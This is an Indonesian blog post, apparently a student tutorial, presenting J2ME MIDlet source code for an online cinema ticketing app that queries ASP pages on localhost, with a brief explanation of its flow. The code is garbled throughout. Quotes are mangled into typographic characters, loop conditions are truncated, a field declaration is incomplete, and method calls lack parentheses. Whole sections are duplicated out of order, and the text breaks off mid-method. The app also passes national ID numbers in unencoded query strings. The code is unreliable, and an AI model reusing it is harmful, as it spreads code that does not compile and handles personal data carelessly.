//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form Detail History Pemesanan Tiket
private void formHistorykan() {
//simpan lokasi tampilan
currentWindow = “formHistorykan”;
//set tulisan pada ticker
ticker = new Ticker(”History Pemesanan Tiket Bioskop Online”);
form = new Form(”");
form.append(”ID Transaksi: ” + group.getString(group.getSelectedIndex()) + “n”);
//karena ada pengkasesan ke database (lihat detail transaksi – lihat.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form About
private void formAbout() {
//simpan lokasi tampilan
currentWindow = “formAbout”;
//set tulisan pada ticker
ticker = new Ticker(”Tentang Bioskop Online”);
form = new Form(”Tentang”);
form.append(”Program Bioskop Online v1.0″);
form.append(”Dibuat oleh Christina F.D.L (00.41010.0004)”);
form.append(”J2ME + ASP (EditPlus, KToolbar, DreamweaverMX, Access)”);
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form Error
private void formError(String msg) {
//simpan lokasi tampilan
currentWindow = “formError”;
form = new Form(”Error!”);
form.append(msg);
//tambahkan command
form.addCommand(cmdBack);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
public void run() {
if(currentWindow.equals(”menuInfo”)) {
try {
openURL(”http://localhost/BioskopOnline/movie.asp”);
thread = null;
if (dataTemp.size()>0) {
for(int i=0;i
menu.append(dataTemp.elementAt(i).toString(),null);
}
menu.addCommand(cmdOK);
} else {
formError("Koneksi ke server gagal!");
}
} catch(Exception e) {
formError("Ada kesalahan!");
}
} else if (currentWindow.equals("formInfo")) {
try {
openURL("http://localhost/BioskopOnline/movie.asp?movie=" + form.getTitle().replace(' ','+'));
thread = null;
if (dataTemp.size()>0) {
form.append(”Jenis: ” + dataTemp.elementAt(0).toString() + “n”);
form.append(”Pemain: ” + dataTemp.elementAt(1).toString() + “n”);
form.append(”Sinopsis: ” + dataTemp.elementAt(2).toString() + “n”);
} else {
formError(”Koneksi ke server gagal!”);
}
} catch(Exception e) {
formError(”Ada kesalahan!”);
}
} else if (currentWindow.equals(”formJadwal”)) {
try {
openURL(”http://localhost/BioskopOnline/jadwal.asp”);
thread = null;
if (dataTemp.size()>0) {
int i = 0;
while(i
{
form.append("Studio " + dataTemp.elementAt(i).toString() + " - " +
dataTemp.elementAt(i+1).toString() + ": " +
dataTemp.elementAt(i+2).toString() + "n");
form.append("Kapasitas: " + dataTemp.elementAt(i+3).toString() +
"kursi, HTM: Rp " + dataTemp.elementAt(i+4).toString() + "n");
i = i+5;
}
} else {
formError("Koneksi ke server gagal!");
}
} catch(Exception e) {
formError("Ada kesalahan!");
}
} else if (currentWindow.equals("formPesan")) {
try {
openURL("http://localhost/BioskopOnline/jadwal.asp");
thread = null;
if (dataTemp.size()>0) {
int i = 0;
while(i
{
group.append("Studio " + dataTemp.elementAt(i).toString() + " - " +
dataTemp.elementAt(i+1).toString(),null);
i = i+5;
}
} else {
formError("Koneksi ke server gagal!");
}
} catch(Exception e) {
formError("Ada kesalahan!");
}
} else if (currentWindow.equals("formPesankan")) {
try {
System.err.println(tanggal.toString());
openURL("http://localhost/BioskopOnline/pesan.asp?nama=" + txtNama.getString().replace(' ','+')
+ "&alamat=" + txtAlamat.getString().replace(' ','+')
+ "&noktp=" + txtNoKTP.getString()
+ "&tanggal=" + tanggal.getDate()
+ "&jadwal=" + (group.getSelectedIndex()+1)
+ "&jumlah=" + txtJumlah.getString());
thread = null;
if (dataTemp.size()>0) {
System.err.println(dataTemp);
if(dataTemp.elementAt(0).toString().equals(”gagal”)) {
strStatus.setText(”gagal”);
strMemo.setText(”Koneksi gagal. Silahkan coba beberapa saat lagi”);
} else if (dataTemp.elementAt(0).toString().equals(”penuh”)) {
strStatus.setText(”gagal”);
strMemo.setText(”Kapasitas kursi tidak mencukupi”);
} else {
txtTransaksi.setString(dataTemp.elementAt(1).toString());
strStatus.setText(”sukses”);
strMemo.setText(”Simpan ID Transaksi di atas untuk konfirmasi pembelian tiket.” +
” Biaya yang harus Anda bayar adalah ” + dataTemp.elementAt(2).toString());
}
//save to rms
tambahDatabase(dataTemp.elementAt(0).toString());
} else {
formError(”Koneksi ke server gagal!”);
}
} catch(Exception e) {
formError(”Ada kesalahan!”);
}
} else if (currentWindow.equals(”formBatalkan”)) {
try {
openURL(”http://localhost/BioskopOnline/batal.asp?id=” + group.getString(group.getSelectedIndex()) + “&noktp=” + txtNoKTP.getString());
thread = null;
if (dataTemp.size()>0) {
strStatus.setText(dataTemp.elementAt(0).toString());
//remove from rms
hapusDatabase(group.getString(group.getSelectedIndex()));
strMemo.setText(”Transaksi telah dibatalkan dan catatan transaksi telah dihapus dari database.”);
} else {
formError(”Koneksi ke server gagal!”);
}
} catch(Exception e) {
formError(”Ada kesalahan!”);
}
} else if (currentWindow.equals(”formHistorykan”)) {
try {
openURL(”http://localhost/BioskopOnline/lihat.asp?id=” + group.getString(group.getSelectedIndex());
thread = null;
if (dataTemp.size()>0) {
form.append(”Nama: ” + dataTemp.elementAt(0).toString + “n”);
form.append(”Alamat: ” + dataTemp.elementAt(1).toString + “n”);
form.append(”No KTP: ” + dataTemp.elementAt(2).toString + “n”);
form.append(”Tanggal: ” + dataTemp.elementAt(3).toString + “n”);
form.append(”Jadwal: ” + dataTemp.elementAt(4).toString + “n”);
form.append(”Jumlah: ” + dataTemp.elementAt(5).toString + “n”);
form.append(”Biaya: ” + dataTemp.elementAt(6).toString + “n”);
} else {
formError(”Koneksi ke server gagal!”);
}
} catch(Exception e) {
formError(”Ada kesalahan!”);
}
}
}
public void commandAction(Command c,Displayable d) {
String label = c.getLabel();
if (c==cmdBack) {
if (currentWindow.equals(”formPesankan”)) {
menuPesan();
} else if (currentWindow.equals(”formBatalkan”)) {
menuPesan();
} else if (currentWindow.equals(”formHistorykan”)) {
menuPesan();
} else if (currentWindow.equals(”formInfo”)) {
menuInfo();
} else {
menuUtama();
}
} else if (c==cmdOK) {
if (currentWindow.equals(”formPesan”)) {
formPesankan();
} else if (currentWindow.equals(”formBatal”)) {
formBatalkan();
} else if (currentWindow.equals(”formHistory”)) {
formHistorykan();
}
} else if (c==cmdAbout) {
formAbout();
} else if (c==cmdExit) {
keluar();
} else { //menu
List currentmenu = (List)display.getCurrent();
if (currentWindow.equals(”menuUtama”)) {
switch(currentmenu.getSelectedIndex()) {
case 0: menuInfo(); break;
case 1: formJadwal(); break;
case 2: menuPesan(); break;
}
} else if (currentWindow.equals(”menuInfo”)) {
String title = new String(currentmenu.getString(currentmenu.getSelectedIndex()));
formInfo(title);
} else if (currentWindow.equals(”menuPesan”)) {
switch(currentmenu.getSelectedIndex()) {
case 0: formPesan(); break;
case 1: formBatal(); break;
case 2: formHistory(); break;
}
}
}
}
//*********************************************************************************************
// FUNGSI-FUNGSI YANG BERHUBUNGAN DENGAN DATABASE RMS
//*********************************************************************************************
//fungsi untuk membuka database
//jika database tidak ada, maka database akan dibuat
private void bukaDatabase() {
try {
//buka database
//parameter TRUE menunjukkan bahwa database akan dibuat jika belum ada
database = RecordStore.openRecordStore(”database”,true);
} catch (RecordStoreException e) {
formError(”Ada kesalahan pembuatan database”);
}
}
//fungsi untuk menambah data (string ID transaksi) ke dalam database
//input: ID Transaksi yang ingin ditambahkan (data)
private void tambahDatabase(String data) {
try {
//tambahkan data ke dalam database
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeUTF(data);
byte[] b = baos.toByteArray();
database.addRecord(b,0,b.length);
} catch(IOException e) {
formError(”Ada kesalahan IO”);
} catch(RecordStoreFullException e) {
formError(”Database RMS penuh”);
} catch(RecordStoreException e) {
formError(”Ada kesalahan!”);
}
}
//fungsi untuk mengambil data (ID transaksi) dari database
//ID transaksi langsung disimpan dalam variabel group (ChoiceGroup) yang harus diinisialisasikan sebelumnya
private void ambilDatabase() {
//kosongi strTemp
strTemp = new String(”");
try {
ByteArrayInputStream bais;
DataInputStream dis;
RecordEnumeration enum = database.enumerateRecords(null,null,false);
while (enum.hasNextElement()) {
//ambil ID record
int recId = enum.nextRecordId();
//ambil DATA record
bais = new ByteArrayInputStream(database.getRecord(recId));
dis = new DataInputStream(bais);
//simpan ke dalam strTemp
strTemp = dis.readUTF();
//tambahkan di group
group.append(strTemp,null);
}
} catch(IOException e) {
formError(”Ada kesalahan!”);
} catch(IllegalArgumentException e) {
formError(”Ada kesalahan!”);
} catch(IndexOutOfBoundsException e) {
formError(”Ada kesalahan!”);
} catch(NullPointerException e) {
formError(”Ada kesalahan!”);
} catch(RecordStoreNotOpenException e) {
formError(”Ada kesalahan!”);
} catch(RecordStoreException e) {
formError(”Ada kesalahan!”);
}
}
//fungsi untuk menghapus data (string ID transaksi) dari database
//input: ID Transaksi yang ingin dihapus (data)
private void hapusDatabase(String data) {
try {
ByteArrayInputStream bais;
DataInputStream dis;
String in;
RecordEnumeration enum = database.enumerateRecords(null,null,false);
while(enum.hasNextElement()) {
//ambil ID record
int recId = enum.nextRecordId();
//ambil DATA record
bais = new ByteArrayInputStream(database.getRecord(recId));
dis = new DataInputStream(bais);
in = dis.readUTF();
//cek apakah DATA record sama dengan data ID TRANSAKSI yang dicari
if (in.equals(data)) { //jika ya,
database.deleteRecord(recId); //hapus record
break; //selesai
}
}
} catch(IOException e) {
formError(”Ada kesalahan!”);
} catch(RecordStoreNotOpenException e) {
formError(”Ada kesalahan!”);
} catch(RecordStoreException e) {
formError(”Ada kesalahan!”);
}
}
//prosedur untuk menutup database
//dipanggil saat akan keluar dari program
private void tutupDatabase() {
try {
//tutup database
database.closeRecordStore();
} catch(RecordStoreNotOpenException e) {
//do nothing
} catch(RecordStoreException e) {
//do nothing
}
}
}[/java]
Untuk memudahkan pemahaman, hanya ada 1 kelas java, yaitu
- User menjalankan midlet dan menuju ke
menu utama yg berisi pilihan untuk melihat informasi film, jadwal film, dan melakukan transaksi ticketing. - Jika
menu info film dan jadwal film dipilih, aplikasi akan melakukan koneksi ke aplikasi server via internet dengan menggunakan metode koneksi StreamConnection. Metode ini dipilih krn pengimplementasiannya cukup sederhana dan mudah dipahami. Cara lain yg dapat digunakan adalah metode HTTPConnection. Pada saat koneksi berlangsung, server akan mengirimkan output berupa info/jadwal film yg diminta ke client. Selanjutnya client akan memproses output tsb dan menampilkan hasilnya ke layar ponsel. - Apabila menu transaksi yg dipilih, user akan melakukan pengisian sejumlah form. Stl itu, aplikasi client akan melakukan koneksi ke server untuk men-trigger proses update pada database yang terdapat di server internet. Status transaksi akan dikembalikan oleh server ke client dan ditampilkan ke layar ponsel.
- Selesai :d
Berikut ini source code dari bioskop.java. Lumayan panjang ) tapi baru 900 baris kok, belum nyampe 1000 :p Kalo ada error, dicoba dibenerin sendiri yeeee :p[##] [##] [##] [##] [##] Biar semangat, ayo nari dulu bareng Spongebob!!! [##] [##] [##] [##] [##[java]//nama kelas : bios//nama file : bioskop.java
//import paket yang diperlukan
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
import javax.microedition.io.*;
import javax.microedition.rms.*;
import java.io.*;
import java.util.Vector;
import java.util.Date;
public class bioskop extends MIDlet implements Runnable, CommandListener {
//deklarasi variabel
private Display display; //interface tampilan
private List menu; //menu untuk tampilan yg menggunakan pilihan menu
private Form form; //form untuk tampilan yg tidak menggunakan pilihan menu
private Ticker ticker; //teks berjalan di bagian atas layar
private Command cmdBack, cmdOK, cmdExit, cmdAbout; //command di bagian bawah layar
//cmdBack untuk kembali ke tampilan sebelumnya
//cmdOK untuk proses form
//cmdExit untuk keluar dari
//cmdAbout untuk menampilkan informasi
private TextField txtNama,txtAlamat,txtNoKTP,txtJumlah,txtTransaksi; //textfield pada form
private ChoiceGroup group; //radiobutton pada form
private StringItem strStatus,strMemo; //stringitem pada form
private DateField tanggal; //tanggal pada form
private String currentWindow; //menyimpan lokasi tampilan yg aktif saat ini (menu/form)
private Vector dataTemp; //array penyimpanan sementara
//untuk feedback dari koneksi ke server
private String strTemp; //string penyimpanan sementara
private Thread thread; //thread untuk proses koneksi ke server
private RecordStore
//konstruktor class – dijalankan pertama kali
public bioskop() {
//arahkan variabel display supaya mengacu pada layar program
display = Display.getDisplay(this);
//inisialiasi command – prioritas 0 di kanan bawah, prioritas 1 di kiri bawah
cmdBack = new Command(”Kembali”,Command.BACK,1);
cmdExit = new Command(”Keluar”,Command.STOP,1);
cmdOK = new Command(”OK”,Command.OK,0);
cmdAbout = new Command(”Tentang”,Command.SCREEN,0);
}
//dijalankan saat program dijalankan
public void startApp() {
//siapkan datatabase rms
bukaDatabase();
//tampilkan menu utama
menuUtama();
}
//dijalankan saat program dipause
public void pauseApp() {
//display = null;
//menu = null;
}
//dijalankan saat program ditutup
public void destroyApp(boolean b) {
notifyDestroyed();
}
//destruktor class – dijalankan saat keluar program, akan mentrigger fungsi destroyApp
private void keluar() {
try {
//tutup database
tutupDatabase();
//jika sukses, tutup program
this.destroyApp(true);
} catch(NullPointerException e) { //ignore jika ada error, tetap tutup program
this.destroyApp(true);
}
}
//fungsi untuk melakukan koneksi ke internet dengan menggunakan StreamConnection
//digunakan untuk mengambil
//input : alamat URL yang akan diakses
//output : array dataTemp berisi output
private void openURL(String URLSite) {
//deklarasi dan inisialiasi variabel koneksi
StreamConnection con = null;
InputStream in = null;
//stringbuffer – penyimpanan sementara untuk output
StringBuffer data = new StringBuffer();
//kosongkan array dataTemp
dataTemp = new Vector();
try {
//lakukan koneksi ke URLSite
con = (StreamConnection)Connector.open(URLSite);
//buka input stream
in = con.openInputStream();
int ch;
//baca output dari input stream karakter per karakter hingga output habis
//ch menampung karakter yang saat ini sedang dibaca (in.read())
//jika output sudah habis, ch akan bernilai -1
while ((ch=in.read()) != -1) {
//jika ch <> “|”
if (ch!=’|') {
//tambahkan ch ke dalam string penyimpanan sementara (stringbuffer)
data.append((char)ch);
} else if (ch==’|') { //jika ch = “|”
//tambahkan stringbuffer ke dalam array dataTemp
dataTemp.addElement(data.toString());
//kosongkan kembali stringbuffer
data = new StringBuffer();
}
}
//jika output habis, tambahkan stringbuffer ke dalam array dataTemp
dataTemp.addElement(data.toString());
} catch (IOException e) {
formError(”Ada kesalahan!”);
}
}
//fungsi untuk membuat tampilan menu utama
private void menuUtama() {
//simpan lokasi tampilan
currentWindow = “menuUtama”;
//set tulisan pada ticker
ticker = new Ticker(”Selamat Datang di Bioskop Online”);
//siapkan menu
menu = new List(”Menu Utama”,Choice.IMPLICIT);
//tambahkan pilihan menu
menu.append(”Info Film”,null);
menu.append(”Jadwal Film”,null);
menu.append(”Pesan Tiket”,null);
//tambahkan command
menu.addCommand(cmdExit); menu.addCommand(cmdAbout);
//tempelkan ticker ke menu
menu.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
menu.setCommandListener(this);
//tampilkan menu ke layar
display.setCurrent(menu);
}
//fungsi untuk membuat tampilan menu Info Film
private void menuInfo () {
//simpan lokasi tampilan
currentWindow = “menuInfo”;
//set tulisan pada ticker
ticker = new Ticker(”Informasi dan Sinopsis Film”);
menu = new List(”Menu Info Film”,Choice.IMPLICIT);
//karena ada pengkasesan ke internet (baca judul film – movie.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
//tambahkan command
menu.addCommand(cmdBack);
//tempelkan ticker ke menu
menu.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
menu.setCommandListener(this);
//tampilkan menu ke layar
display.setCurrent(menu);
}
//fungsi untuk membuat tampilan form Info Film
private void formInfo(String title) {
//simpan lokasi tampilan
currentWindow = “formInfo”;
//set tulisan pada ticker
ticker = new Ticker(”Informasi dan Sinopsis Film”);
form = new Form(title);
//karena ada pengkasesan ke internet (baca informasi film – movie.asp?movie=judulfilm), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form Jadwal Film
private void formJadwal() {
//simpan lokasi tampilan
currentWindow = “formJadwal”;
//set tulisan pada ticker
ticker = new Ticker(”Jadwal Pemutaran Film Hari Ini”);
form = new Form(”Jadwal Hari Ini”);
//karena ada pengkasesan ke internet (baca jadwal film – jadwal.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan menu Pesan Tiket
private void menuPesan() {
//simpan lokasi tampilan
currentWindow = “menuPesan”;
//set tulisan pada ticker
ticker = new Ticker(”Pemesanan Tiket Bioskop Online”);
menu = new List(”Pesan Tiket”,Choice.IMPLICIT);
menu.append(”Pesan”,null);
menu.append(”Batal”,null);
menu.append(”History”,null);
//tambahkan command
menu.addCommand(cmdBack); menu.addCommand(cmdOK);
//tempelkan ticker ke menu
menu.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
menu.setCommandListener(this);
//tampilkan menu ke layar
display.setCurrent(menu);
}
//fungsi untuk membuat tampilan form Pesan Tiket
private void formPesan() {
//simpan lokasi tampilan
currentWindow = “formPesan”;
//set tulisan pada ticker
ticker = new Ticker(”Pemesanan Tiket Bioskop Online”);
form = new Form(”Pemesanan Tiket”);
txtNama = new TextField(”Nama”,”",25,TextField.ANY);
txtAlamat = new TextField(”Alamat”,”",50,TextField.ANY);
txtNoKTP = new TextField(”No KTP”,”",20,TextField.ANY);
txtJumlah = new TextField(”Jumlah”,”",3,TextField.ANY);
group = new ChoiceGroup(”Studio / Waktu”,Choice.EXCLUSIVE);
tanggal = new DateField(”Tanggal”,DateField.DATE);
//karena ada pengkasesan ke internet (baca jadwal film – jadwal.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
form.append(txtNama); form.append(txtAlamat); form.append(txtNoKTP);
form.append(tanggal); form.append(group); form.append(txtJumlah);
//tambahkan command
form.addCommand(cmdBack); form.addCommand(cmdOK);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan proses Pesan Tiket
private void formPesankan() {
//simpan lokasi tampilan
currentWindow = “formPesankan”;
//set tulisan pada ticker
ticker = new Ticker(”Pemesanan Tiket Bioskop Online”);
form = new Form(”Proses Transaksi”);
strStatus = new StringItem(”Sedang proses…”,”");
strMemo = new StringItem(”",”");
txtTransaksi = new TextField(”ID Transaksi”,”",50,TextField.ANY);
//karena ada pengkasesan ke internet (simpan transaksi – pesan.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
form.append(strStatus); form.append(txtTransaksi); form.append(strMemo);
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form Pembatalan Tiket
private void formBatal() {
//simpan lokasi tampilan
currentWindow = “formBatal”;
//set tulisan pada ticker
ticker = new Ticker(”Pembatalan Pemesanan Tiket Bioskop Online”);
form = new Form(”Pembatalan Tiket”);
//siapkan radiobutton untuk menampung daftar ID transaksi yang di-load di fungsi ambilDatabase()
group = new ChoiceGroup(”ID Transaksi”,Choice.EXCLUSIVE);
//ambil catatan ID transaksi dari database rms
ambilDatabase();
//strTemp berisi ID transaksi yang terakhir dibaca dari database rms
//jika kosong, berarti tidak ada catatan transaksi dalam database
if (strTemp.equals(”")) { //tidak ada catatan transaksi dalam database
form.append(”Tidak ada catatan transaksi pemesanan tiket”);
//tambahkan command
form.addCommand(cmdBack);
} else { //ada catatan transaksi dalam database
txtNoKTP = new TextField(”No KTP”,”",20,TextField.ANY);
form.append(”Untuk membatalkan pemesanan tiket, pilih ID Transaksi yang ingin dibatalkan dan masukkan No KTP Anda”);
form.append(group);
form.append(txtNoKTP);
form.append(”Tekan OK untuk proses.”);
//tambahkan command
form.addCommand(cmdBack); form.addCommand(cmdOK);
}
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form proses Pembatalan Tiket
private void formBatalkan() {
//simpan lokasi tampilan
currentWindow = “formBatalkan”;
//set tulisan pada ticker
ticker = new Ticker(”Pembatalan Pemesanan Tiket Bioskop Online”);
form = new Form(”Proses Pembatalan Transaksi”);
strStatus = new StringItem(”Sedang proses…”,”");
strMemo = new StringItem(”",”");
//karena ada pengkasesan ke internet (batalkan pemesanan tiket, batal.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
form.append(strStatus); form.append(strMemo);
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form History Pemesanan Tiket
private void formHistory() {
//simpan lokasi tampilan
currentWindow = “formHistory”;
//set tulisan pada ticker
ticker = new Ticker(”History Pemesanan Tiket Bioskop Online”);
form = new Form(”History”);
//siapkan radiobutton untuk menampung daftar ID transaksi yang di-load di fungsi ambilDatabase()
group = new ChoiceGroup(”ID Transaksi”,Choice.EXCLUSIVE);
//ambil catatan ID transaksi dari database rms
ambilDatabase();
//strTemp berisi ID transaksi yang terakhir dibaca dari database rms
//jika kosong, berarti tidak ada catatan transaksi dalam database
if (strTemp.equals(”")) { //tidak ada catatan transaksi dalam database
form.append(”Tidak ada catatan transaksi pemesanan tiket”);
//tambahkan command
form.addCommand(cmdBack);
} else { //ada catatan transaksi dalam database
form.append(”Di bawah ini adalah ID Transaksi Anda”);
form.append(group);
form.append(”Tekan OK untuk menampilkan detail transaksi.”);
//tambahkan command
form.addCommand(cmdBack); form.addCommand(cmdOK);
}
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form Detail History Pemesanan Tiket
private void formHistorykan() {
//simpan lokasi tampilan
currentWindow = “formHistorykan”;
//set tulisan pada ticker
ticker = new Ticker(”History Pemesanan Tiket Bioskop Online”);
form = new Form(”");
form.append(”ID Transaksi: ” + group.getString(group.getSelectedIndex()) + “n”);
//karena ada pengkasesan ke database (lihat detail transaksi – lihat.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form About
private void formAbout() {
//simpan lokasi tampilan
currentWindow = “formAbout”;
//set tulisan pada ticker
ticker = new Ticker(”Tentang Bioskop Online”);
form = new Form(”Tentang”);
form.append(”Program Bioskop Online v1.0″);
form.append(”Dibuat oleh Christina F.D.L (00.41010.0004)”);
form.append(”J2ME + ASP (EditPlus, KToolbar, DreamweaverMX, Access)”);
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form Error
private void formError(String msg) {
//simpan lokasi tampilan
currentWindow = “formError”;
form = new Form(”Error!”);
form.append(msg);
//tambahkan command
form.addCommand(cmdBack);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
public void run() {
if(currentWindow.equals(”menuInfo”)) {
try {
openURL(”http://localhost/BioskopOnline/movie.asp”);
thread = null;
if (dataTemp.size()>0) {
for(int i=0;i
menu.append(dataTemp.elementAt(i).toString(),null);
}
menu.addCommand(cmdOK);
} else {
formError("Koneksi ke server gagal!");
}
} catch(Exception e) {
formError("Ada kesalahan!");
}
} else if (currentWindow.equals("formInfo")) {
try {
openURL("http://localhost/BioskopOnline/movie.asp?movie=" + form.getTitle().replace(' ','+'));
thread = null;
if (dataTemp.size()>0) {
form.append(”Jenis: ” + dataTemp.elementAt(0).toString() + “n”);
form.append(”Pemain: ” + dataTemp.elementAt(1).toString() + “n”);
form.append(”Sinopsis: ” + dataTemp.elementAt(2).toString() + “n”);
} else {
formError(”Koneksi ke server gagal!”);
}
} catch(Exception e) {
formError(”Ada kesalahan!”);
}
} else if (currentWindow.equals(”formJadwal”)) {
try {
openURL(”http://localhost/BioskopOnline/jadwal.asp”);
thread = null;
if (dataTemp.size()>0) {
int i = 0;
while(i
{
form.append("Studio " + dataTemp.elementAt(i).toString() + " - " +
dataTemp.elementAt(i+1).toString() + ": " +
dataTemp.elementAt(i+2).toString() + "n");
form.append("Kapasitas: " + dataTemp.elementAt(i+3).toString() +
"kursi, HTM: Rp " + dataTemp.elementAt(i+4).toString() + "n");
i = i+5;
}
} else {
formError("Koneksi ke server gagal!");
}
} catch(Exception e) {
formError("Ada kesalahan!");
}
} else if (currentWindow.equals("formPesan")) {
try {
openURL("http://localhost/BioskopOnline/jadwal.asp");
thread = null;
if (dataTemp.size()>0) {
int i = 0;
while(i
{
group.append("Studio " + dataTemp.elementAt(i).toString() + " - " +
dataTemp.elementAt(i+1).toString(),null);
i = i+5;
}
} else {
formError("Koneksi ke server gagal!");
}
} catch(Exception e) {
formError("Ada kesalahan!");
}
} else if (currentWindow.equals("formPesankan")) {
try {
System.err.println(tanggal.toString());
openURL("http://localhost/BioskopOnline/pesan.asp?nama=" + txtNama.getString().replace(' ','+')
+ "&alamat=" + txtAlamat.getString().replace(' ','+')
+ "&noktp=" + txtNoKTP.getString()
+ "&tanggal=" + tanggal.getDate()
+ "&jadwal=" + (group.getSelectedIndex()+1)
+ "&jumlah=" + txtJumlah.getString());
thread = null;
if (dataTemp.size()>0) {
System.err.println(dataTemp);
if(dataTemp.elementAt(0).toString().equals(”gagal”)) {
strStatus.setText(”gagal”);
strMemo.setText(”Koneksi gagal. Silahkan coba beberapa saat lagi”);
} else if (dataTemp.elementAt(0).toString().equals(”penuh”)) {
strStatus.setText(”gagal”);
strMemo.setText(”Kapasitas kursi tidak mencukupi”);
} else {
txtTransaksi.setString(dataTemp.elementAt(1).toString());
strStatus.setText(”sukses”);
strMemo.setText(”Simpan ID Transaksi di atas untuk konfirmasi pembelian tiket.” +
” Biaya yang harus Anda bayar adalah ” + dataTemp.elementAt(2).toString());
}
//save to rms
tambahDatabase(dataTemp.elementAt(0).toString());
} else {
formError(”Koneksi ke server gagal!”);
}
} catch(Exception e) {
formError(”Ada kesalahan!”);
}
} else if (currentWindow.equals(”formBatalkan”)) {
try {
openURL(”http://localhost/BioskopOnline/batal.asp?id=” + group.getString(group.getSelectedIndex()) + “&noktp=” + txtNoKTP.getString());
thread = null;
if (dataTemp.size()>0) {
strStatus.setText(dataTemp.elementAt(0).toString());
//remove from rms
hapusDatabase(group.getString(group.getSelectedIndex()));
strMemo.setText(”Transaksi telah dibatalkan dan catatan transaksi telah dihapus dari database.”);
} else {
formError(”Koneksi ke server gagal!”);
}
} catch(Exception e) {
formError(”Ada kesalahan!”);
}
} else if (currentWindow.equals(”formHistorykan”)) {
try {
openURL(”http://localhost/BioskopOnline/lihat.asp?id=” + group.getString(group.getSelectedIndex());
thread = null;
if (dataTemp.size()>0) {
form.append(”Nama: ” + dataTemp.elementAt(0).toString + “n”);
form.append(”Alamat: ” + dataTemp.elementAt(1).toString + “n”);
